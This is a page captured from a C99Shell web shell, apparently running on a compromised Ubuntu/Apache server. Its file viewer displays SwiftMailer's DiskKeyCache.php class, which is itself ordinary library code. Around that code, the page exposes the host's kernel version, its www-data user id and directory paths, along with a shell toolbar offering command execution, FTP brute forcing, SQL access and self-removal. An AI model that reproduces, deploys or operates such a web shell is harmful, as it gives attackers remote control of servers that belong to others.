!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DiskKeyCache.php (7.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of SwiftMailer.
 * (c) 2004-2009 Chris Corbyn
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * A KeyCache which streams to and from disk.
 *
 * @author Chris Corbyn
 */
class Swift_KeyCache_DiskKeyCache implements Swift_KeyCache
{
    
/** Signal to place pointer at start of file */
    
const POSITION_START 0;

    
/** Signal to place pointer at end of file */
    
const POSITION_END 1;

    
/** Signal to leave pointer in whatever position it currently is */
    
const POSITION_CURRENT 2;

    
/**
     * An InputStream for cloning.
     *
     * @var Swift_KeyCache_KeyCacheInputStream
     */
    
private $stream;

    
/**
     * A path to write to.
     *
     * @var string
     */
    
private $path;

    
/**
     * Stored keys.
     *
     * @var array
     */
    
private $keys = [];

    
/**
     * Create a new DiskKeyCache with the given $stream for cloning to make
     * InputByteStreams, and the given $path to save to.
     *
     * @param string $path to save to
     */
    
public function __construct(Swift_KeyCache_KeyCacheInputStream $stream$path)
    {
        
$this->stream $stream;
        
$this->path $path;
    }

    
/**
     * Set a string into the cache under $itemKey for the namespace $nsKey.
     *
     * @see MODE_WRITE, MODE_APPEND
     *
     * @param string $nsKey
     * @param string $itemKey
     * @param string $string
     * @param int    $mode
     *
     * @throws Swift_IoException
     */
    
public function setString($nsKey$itemKey$string$mode)
    {
        
$this->prepareCache($nsKey);
        switch (
$mode) {
            case 
self::MODE_WRITE:
                
$fp $this->getHandle($nsKey$itemKeyself::POSITION_START);
                break;
            case 
self::MODE_APPEND:
                
$fp $this->getHandle($nsKey$itemKeyself::POSITION_END);
                break;
            default:
                throw new 
Swift_SwiftException('Invalid mode ['.$mode.'] used to set nsKey='.$nsKey.', itemKey='.$itemKey);
                break;
        }
        
fwrite($fp$string);
        
$this->freeHandle($nsKey$itemKey);
    }

    
/**
     * Set a ByteStream into the cache under $itemKey for the namespace $nsKey.
     *
     * @see MODE_WRITE, MODE_APPEND
     *
     * @param string $nsKey
     * @param string $itemKey
     * @param int    $mode
     *
     * @throws Swift_IoException
     */
    
public function importFromByteStream($nsKey$itemKeySwift_OutputByteStream $os$mode)
    {
        
$this->prepareCache($nsKey);
        switch (
$mode) {
            case 
self::MODE_WRITE:
                
$fp $this->getHandle($nsKey$itemKeyself::POSITION_START);
                break;
            case 
self::MODE_APPEND:
                
$fp $this->getHandle($nsKey$itemKeyself::POSITION_END);
                break;
            default:
                throw new 
Swift_SwiftException('Invalid mode ['.$mode.'] used to set nsKey='.$nsKey.', itemKey='.$itemKey);
                break;
        }
        while (
false !== $bytes $os->read(8192)) {
            
fwrite($fp$bytes);
        }
        
$this->freeHandle($nsKey$itemKey);
    }

    
/**
     * Provides a ByteStream which when written to, writes data to $itemKey.
     *
     * NOTE: The stream will always write in append mode.
     *
     * @param string $nsKey
     * @param string $itemKey
     *
     * @return Swift_InputByteStream
     */
    
public function getInputByteStream($nsKey$itemKeySwift_InputByteStream $writeThrough null)
    {
        
$is = clone $this->stream;
        
$is->setKeyCache($this);
        
$is->setNsKey($nsKey);
        
$is->setItemKey($itemKey);
        if (isset(
$writeThrough)) {
            
$is->setWriteThroughStream($writeThrough);
        }

        return 
$is;
    }

    
/**
     * Get data back out of the cache as a string.
     *
     * @param string $nsKey
     * @param string $itemKey
     *
     * @throws Swift_IoException
     *
     * @return string
     */
    
public function getString($nsKey$itemKey)
    {
        
$this->prepareCache($nsKey);
        if (
$this->hasKey($nsKey$itemKey)) {
            
$fp $this->getHandle($nsKey$itemKeyself::POSITION_START);
            
$str '';
            while (!
feof($fp) && false !== $bytes fread($fp8192)) {
                
$str .= $bytes;
            }
            
$this->freeHandle($nsKey$itemKey);

            return 
$str;
        }
    }

    
/**
     * Get data back out of the cache as a ByteStream.
     *
     * @param string                $nsKey
     * @param string                $itemKey
     * @param Swift_InputByteStream $is      to write the data to
     */
    
public function exportToByteStream($nsKey$itemKeySwift_InputByteStream $is)
    {
        if (
$this->hasKey($nsKey$itemKey)) {
            
$fp $this->getHandle($nsKey$itemKeyself::POSITION_START);
            while (!
feof($fp) && false !== $bytes fread($fp8192)) {
                
$is->write($bytes);
            }
            
$this->freeHandle($nsKey$itemKey);
        }
    }

    
/**
     * Check if the given $itemKey exists in the namespace $nsKey.
     *
     * @param string $nsKey
     * @param string $itemKey
     *
     * @return bool
     */
    
public function hasKey($nsKey$itemKey)
    {
        return 
is_file($this->path.'/'.$nsKey.'/'.$itemKey);
    }

    
/**
     * Clear data for $itemKey in the namespace $nsKey if it exists.
     *
     * @param string $nsKey
     * @param string $itemKey
     */
    
public function clearKey($nsKey$itemKey)
    {
        if (
$this->hasKey($nsKey$itemKey)) {
            
$this->freeHandle($nsKey$itemKey);
            
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
        }
    }

    
/**
     * Clear all data in the namespace $nsKey if it exists.
     *
     * @param string $nsKey
     */
    
public function clearAll($nsKey)
    {
        if (
\array_key_exists($nsKey$this->keys)) {
            foreach (
$this->keys[$nsKey] as $itemKey => $null) {
                
$this->clearKey($nsKey$itemKey);
            }
            if (
is_dir($this->path.'/'.$nsKey)) {
                
rmdir($this->path.'/'.$nsKey);
            }
            unset(
$this->keys[$nsKey]);
        }
    }

    
/**
     * Initialize the namespace of $nsKey if needed.
     *
     * @param string $nsKey
     */
    
private function prepareCache($nsKey)
    {
        
$cacheDir $this->path.'/'.$nsKey;
        if (!
is_dir($cacheDir)) {
            if (!
mkdir($cacheDir)) {
                throw new 
Swift_IoException('Failed to create cache directory '.$cacheDir);
            }
            
$this->keys[$nsKey] = [];
        }
    }

    
/**
     * Get a file handle on the cache item.
     *
     * @param string $nsKey
     * @param string $itemKey
     * @param int    $position
     *
     * @return resource
     */
    
private function getHandle($nsKey$itemKey$position)
    {
        if (!isset(
$this->keys[$nsKey][$itemKey])) {
            
$openMode $this->hasKey($nsKey$itemKey) ? 'r+b' 'w+b';
            
$fp fopen($this->path.'/'.$nsKey.'/'.$itemKey$openMode);
            
$this->keys[$nsKey][$itemKey] = $fp;
        }
        if (
self::POSITION_START == $position) {
            
fseek($this->keys[$nsKey][$itemKey], 0SEEK_SET);
        } elseif (
self::POSITION_END == $position) {
            
fseek($this->keys[$nsKey][$itemKey], 0SEEK_END);
        }

        return 
$this->keys[$nsKey][$itemKey];
    }

    private function 
freeHandle($nsKey$itemKey)
    {
        
$fp $this->getHandle($nsKey$itemKeyself::POSITION_CURRENT);
        
fclose($fp);
        
$this->keys[$nsKey][$itemKey] = null;
    }

    
/**
     * Destructor.
     */
    
public function __destruct()
    {
        foreach (
$this->keys as $nsKey => $null) {
            
$this->clearAll($nsKey);
        }
    }

    public function 
__wakeup()
    {
        
$this->keys = [];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--